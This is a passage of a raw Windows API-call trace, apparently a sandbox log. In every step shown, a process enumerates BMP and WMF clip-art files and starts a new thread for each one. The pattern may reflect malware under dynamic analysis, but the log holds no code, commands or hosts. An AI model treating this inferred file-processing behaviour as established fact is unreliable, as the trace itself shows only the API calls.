	[0210.236] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd20ae00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbd20ae00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x133f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101856.BMP", cAlternateFileName="")) returned 1
	[0210.236] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d0
	[0210.239] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.239] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf830800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf830800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101857.BMP", cAlternateFileName="")) returned 1
	[0210.239] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d4
	[0210.242] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.242] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6aa1600, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6aa1600, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101858.BMP", cAlternateFileName="")) returned 1
	[0210.242] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.243] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d8
	[0210.245] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.245] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac703800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac703800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101859.BMP", cAlternateFileName="")) returned 1
	[0210.245] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.246] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16dc
	[0210.248] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.248] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaed29200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaed29200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101860.BMP", cAlternateFileName="")) returned 1
	[0210.249] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.249] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16e0
	[0210.251] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.251] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2661900, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2661900, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101861.BMP", cAlternateFileName="")) returned 1
	[0210.251] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.252] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16e4
	[0210.254] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.254] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5f9a000, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5f9a000, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101862.BMP", cAlternateFileName="")) returned 1
	[0210.254] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.255] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16e8
	[0210.258] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.258] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1e56200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1e56200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101863.BMP", cAlternateFileName="")) returned 1
	[0210.258] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.259] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16ec
	[0210.261] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.261] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc447bc00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc447bc00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101864.BMP", cAlternateFileName="")) returned 1
	[0210.261] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.262] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16f0
	[0210.264] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.265] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb98d2700, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb98d2700, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101865.BMP", cAlternateFileName="")) returned 1
	[0210.265] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.265] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16f4
	[0210.267] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.267] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbabe5400, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbabe5400, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101866.BMP", cAlternateFileName="")) returned 1
	[0210.267] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.268] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16f8
	[0210.269] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.270] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0dde00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa0dde00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101867.BMP", cAlternateFileName="")) returned 1
	[0210.270] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16fc
	[0210.380] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.381] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101980.WMF", cAlternateFileName="")) returned 1
	[0210.885] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1700
	[0210.889] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.889] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e74, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0102002.WMF", cAlternateFileName="")) returned 1
	[0210.889] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1704
	[0210.892] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.893] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6978, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0102594.WMF", cAlternateFileName="")) returned 1
	[0210.893] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1708
	[0210.895] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.896] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bd0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0102762.WMF", cAlternateFileName="")) returned 1
	[0210.896] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x170c
	[0210.899] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.899] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4290, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0102984.WMF", cAlternateFileName="")) returned 1
	[0210.899] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1710
	[0210.901] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.902] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43c0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0103058.WMF", cAlternateFileName="")) returned 1
	[0210.902] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1714
	[0210.905] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.905] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3264, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0103262.WMF", cAlternateFileName="")) returned 1
	[0210.905] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1718
	[0210.908] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.909] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf94, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0103402.WMF", cAlternateFileName="")) returned 1
	[0210.909] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x171c
	[0210.911] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.912] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0103812.WMF", cAlternateFileName="")) returned 1
	[0210.912] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1720
	[0210.915] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.915] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c2c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0103850.WMF", cAlternateFileName="")) returned 1
	[0210.916] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1724
	[0210.918] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.919] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105230.WMF", cAlternateFileName="")) returned 1
	[0210.919] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1728
	[0211.150] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.151] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105232.WMF", cAlternateFileName="")) returned 1
	[0211.151] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x172c
	[0211.153] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.154] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd74, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105234.WMF", cAlternateFileName="")) returned 1
	[0211.154] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1730
	[0211.157] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.158] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4314, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105238.WMF", cAlternateFileName="")) returned 1
	[0211.158] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1734
	[0211.160] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.161] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d0c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105240.WMF", cAlternateFileName="")) returned 1
	[0211.161] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1738
	[0211.165] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
